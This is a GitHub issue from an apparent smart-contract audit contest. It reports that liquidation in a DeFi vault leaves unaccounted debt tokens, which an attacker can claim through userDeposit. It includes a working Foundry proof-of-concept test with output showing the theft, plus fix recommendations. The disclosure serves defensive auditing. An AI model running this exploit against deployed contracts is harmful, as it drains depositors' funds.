Skip to content
This repository has been archived by the owner on Dec 31, 2023. It is now read-only.

0xkaden - Attacker can steal debt repaid after liquidation #122

Closed
sherlock-admin opened this issue Jul 1, 2023 · 0 comments
Closed

0xkaden - Attacker can steal debt repaid after liquidation #122

sherlock-admin opened this issue Jul 1, 2023 · 0 comments
Labels
Duplicate A valid issue that is a duplicate of an issue with `Has Duplicates` label High A valid High severity issue Reward A payout will be made for this issue

Comments

@sherlock-admin
Copy link
Contributor

sherlock-admin commented Jul 1, 2023

0xkaden

high

Attacker can steal debt repaid after liquidation

Summary

During liquidation, debt tokens are sent to the vault. The state stored reserve balance is not updated afterwards, leaving a difference between the actual token balance of the vault and the accounted balance of the vault. These unaccounted tokens can be stolen by calling D3VaultFunding.userDeposit for the corresponding token, which then applies the difference between it's last accounted balance and actual balance as a deposit on the users behalf, granting them dTokens which they can later withdraw for the underlying tokens.

Vulnerability Detail

D3VaultFunding.userDeposit checks the actual token balance of the contract and the last accounted balance of the contract, and assumes any increase in tokens was sent by the user, granting the user corresponding dTokens.

Anytime the actual balance of the contract is greater than the last accounted balance, it's possible to call this function and receive dTokens corresponding to the underlying tokens.

Since D3VaultLiquidation.liquidate fails to call for an update to the reserves of the debt token, there is a surplus which can be taken.

We can add the following function to D3VaultLiquidation.t.sol to test an exploit:

function testCanTakeUnaccountedLiquidationCollateral() public {
    contextCanBeLiquidated();

    token2.mint(user2, 10 ether);
    vm.prank(user2);
    token2.approve(address(d3Vault), 10 ether);

    vm.prank(address(d3MM));
    token3.approve(address(d3Vault), type(uint256).max);

    vm.prank(user2);
    d3Vault.liquidate(address(d3MM), address(token3), 25 ether, address(token2), 2 ether);

    uint256 actualBalance = MockERC20(token2).balanceOf(address(d3Vault));
    (, uint256 expectedBalance,,,,,,,,,,) = d3Vault.assetInfo(address(token2));
    console.log("expectedBalance: %s", expectedBalance);
    console.log("actualBalance: %s", actualBalance);

    (address dToken2,,,,,,,,,,) = d3Vault.getAssetInfo(address(token2));

    uint256 dTokenBalanceBefore = D3Token(dToken2).balanceOf(user1);

    mockUserQuota.setUserQuota(user1, address(token2), 1000 * 1e18);
    vm.prank(user1);
    d3Vault.userDeposit(user1, address(token2));

    uint256 dTokenBalanceAfter = D3Token(dToken2).balanceOf(user1);

    console.log("dToken balance increase: %s", dTokenBalanceAfter - dTokenBalanceBefore);
}

We can see from the output that the actual balance is higher than the accounted balance and that an attacker depositing credits them with the corresponding dTokens:

expectedBalance: 490000000000000000000
actualBalance: 492000000000000000000
dToken balance increase: 2000000000000000000

Impact

Anytime a liquidation occurs, an attacker can steal the tokens used to repay the debt, thereby preventing debt from actually being paid and leaving the system in a liquidate-able state. This allows for an attacker to liquidate => steal debt => liquidate => steal debt => ... until it is no longer profitable, draining the system of collateral.

Code Snippet

D3VaultFunding.userDeposit

AssetInfo storage info = assetInfo[token];
uint256 realBalance = IERC20(token).balanceOf(address(this));
uint256 amount = realBalance  - info.balance;
require(ID3UserQuota(_USER_QUOTA_).checkQuota(user, token, amount), Errors.EXCEED_QUOTA);
uint256 exchangeRate = _getExchangeRate(token);
uint256 totalDToken = IDToken(info.dToken).totalSupply();
require(totalDToken.mul(exchangeRate) + amount <= info.maxDepositAmount, Errors.EXCEED_MAX_DEPOSIT_AMOUNT);
uint256 dTokenAmount = amount.div(exchangeRate);

IDToken(info.dToken).mint(user, dTokenAmount);

Tool used

  • Manual Review
  • forge

Recommendation

It's recommended that in D3VaultLiquidation.liquidate, the debt token reserves of the pool are updated. Additionally, it's recommended that either:

  • The flow of applying the difference in actual and accounted balance is removed in favour of the use of a safeTransferFrom instead or
  • D3VaultFunding.userDeposit is only allowed to be called by a validated proxy

Duplicate of #211

@github-actions github-actions bot closed this as completed Jul 5, 2023
@github-actions github-actions bot added High A valid High severity issue Duplicate A valid issue that is a duplicate of an issue with `Has Duplicates` label labels Jul 5, 2023
@sherlock-admin2 sherlock-admin2 added the Reward A payout will be made for this issue label Jul 24, 2023
Sign up for free to subscribe to this conversation on GitHub. Already have an account? Sign in.
Labels
Duplicate A valid issue that is a duplicate of an issue with `Has Duplicates` label High A valid High severity issue Reward A payout will be made for this issue
Projects
None yet
Development

No branches or pull requests

2 participants